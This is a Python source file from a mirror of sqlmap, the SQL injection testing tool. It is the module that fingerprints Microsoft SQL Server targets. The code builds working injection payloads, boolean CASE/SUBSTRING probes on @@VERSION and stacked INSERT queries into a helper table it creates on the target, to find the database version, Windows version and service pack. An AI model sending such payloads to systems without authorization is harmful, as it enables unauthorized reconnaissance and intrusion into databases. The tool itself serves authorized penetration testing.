mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 11:33:47 +03:00
239 lines
7.9 KiB
Python
239 lines
7.9 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
$Id$
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
the terms of the GNU General Public License as published by the Free
|
|
Software Foundation version 2 of the License.
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
"""
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import formatDBMSfp
|
|
from lib.core.common import formatFingerprint
|
|
from lib.core.common import getHtmlErrorFp
|
|
from lib.core.common import randomInt
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.session import setDbms
|
|
from lib.core.settings import MSSQL_ALIASES
|
|
from lib.request import inject
|
|
from lib.request.connect import Connect as Request
|
|
|
|
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
|
|
|
|
class Fingerprint(GenericFingerprint):
|
|
def __init__(self):
|
|
GenericFingerprint.__init__(self)
|
|
|
|
def getFingerprint(self):
|
|
value = ""
|
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
|
|
|
if wsOsFp:
|
|
value += "%s\n" % wsOsFp
|
|
|
|
if kb.data.banner:
|
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
|
|
|
if dbmsOsFp:
|
|
value += "%s\n" % dbmsOsFp
|
|
|
|
value += "back-end DBMS: "
|
|
actVer = formatDBMSfp()
|
|
|
|
if not conf.extensiveFp:
|
|
value += actVer
|
|
return value
|
|
|
|
blank = " " * 15
|
|
value += "active fingerprint: %s" % actVer
|
|
|
|
if kb.bannerFp:
|
|
release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None
|
|
version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None
|
|
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
|
|
|
|
if release and version and servicepack:
|
|
banVer = "Microsoft SQL Server %s " % release
|
|
banVer += "Service Pack %s " % servicepack
|
|
banVer += "version %s" % version
|
|
|
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
|
|
|
htmlErrorFp = getHtmlErrorFp()
|
|
|
|
if htmlErrorFp:
|
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
|
|
|
return value
|
|
|
|
def checkDbms(self):
|
|
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
|
|
|
self.getBanner()
|
|
|
|
if not conf.extensiveFp:
|
|
kb.os = "Windows"
|
|
|
|
return True
|
|
|
|
infoMsg = "testing Microsoft SQL Server"
|
|
logger.info(infoMsg)
|
|
|
|
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not work connecting
|
|
# directly to the Microsoft SQL Server database
|
|
if conf.direct:
|
|
result = True
|
|
else:
|
|
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
|
|
result = Request.queryPage(payload)
|
|
|
|
if result:
|
|
infoMsg = "confirming Microsoft SQL Server"
|
|
logger.info(infoMsg)
|
|
|
|
for version in (0, 5, 8):
|
|
randInt = randomInt()
|
|
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
|
|
|
|
if conf.direct:
|
|
query = query.replace(" AND ", "SELECT 1 WHERE ", 1)
|
|
|
|
payload = agent.fullPayload(query)
|
|
result = Request.queryPage(payload)
|
|
|
|
if result:
|
|
if version == 8:
|
|
kb.dbmsVersion = ["2008"]
|
|
|
|
break
|
|
|
|
elif version == 5:
|
|
kb.dbmsVersion = ["2005"]
|
|
|
|
break
|
|
|
|
elif version == 0:
|
|
kb.dbmsVersion = ["2000"]
|
|
|
|
break
|
|
|
|
else:
|
|
query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1))
|
|
payload = agent.fullPayload(query)
|
|
result = Request.queryPage(payload)
|
|
|
|
if result:
|
|
kb.dbmsVersion = ["7.0"]
|
|
|
|
break
|
|
|
|
if kb.dbmsVersion:
|
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
|
else:
|
|
setDbms("Microsoft SQL Server")
|
|
|
|
self.getBanner()
|
|
|
|
kb.os = "Windows"
|
|
|
|
return True
|
|
else:
|
|
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
|
|
logger.warn(warnMsg)
|
|
|
|
return False
|
|
|
|
def checkDbmsOs(self, detailed=False):
|
|
if kb.os and kb.osVersion and kb.osSP:
|
|
return
|
|
|
|
if not kb.os:
|
|
kb.os = "Windows"
|
|
|
|
if not detailed:
|
|
return
|
|
|
|
infoMsg = "fingerprinting the back-end DBMS operating system "
|
|
infoMsg += "version and service pack"
|
|
logger.info(infoMsg)
|
|
|
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
|
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
|
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
|
|
|
|
versions = { "2003": ("5.2", (2, 1)),
|
|
#"2003": ("6.0", (2, 1)),
|
|
"2008": ("7.0", (1,)),
|
|
"2000": ("5.0", (4, 3, 2, 1)),
|
|
"XP": ("5.1", (2, 1)),
|
|
"NT": ("4.0", (6, 5, 4, 3, 2, 1)) }
|
|
|
|
# Get back-end DBMS underlying operating system version
|
|
for version, data in versions.items():
|
|
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
query += "LIKE '%Windows NT " + data[0] + "%')>0"
|
|
query = agent.forgeCaseStatement(query)
|
|
|
|
if inject.getValue(query, charsetType=1) == "1":
|
|
kb.osVersion = version
|
|
infoMsg += " %s" % kb.osVersion
|
|
|
|
break
|
|
|
|
if not kb.osVersion:
|
|
kb.osVersion = "2003"
|
|
kb.osSP = 2
|
|
|
|
warnMsg = "unable to fingerprint the underlying operating "
|
|
warnMsg += "system version, assuming it is Windows "
|
|
warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP)
|
|
logger.warn(warnMsg)
|
|
|
|
self.cleanup(onlyFileTbl=True)
|
|
|
|
return
|
|
|
|
# Get back-end DBMS underlying operating system service pack
|
|
sps = versions[kb.osVersion][1]
|
|
|
|
for sp in sps:
|
|
query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
|
|
query += "LIKE '%Service Pack " + unicode(sp) + "%')>0"
|
|
query = agent.forgeCaseStatement(query)
|
|
|
|
if inject.getValue(query, charsetType=1) == "1":
|
|
kb.osSP = sp
|
|
break
|
|
|
|
if not kb.osSP:
|
|
debugMsg = "assuming the operating system has no service pack"
|
|
logger.debug(debugMsg)
|
|
|
|
kb.osSP = 0
|
|
|
|
if kb.osVersion:
|
|
infoMsg += " Service Pack %d" % kb.osSP
|
|
|
|
logger.info(infoMsg)
|
|
|
|
self.cleanup(onlyFileTbl=True)
|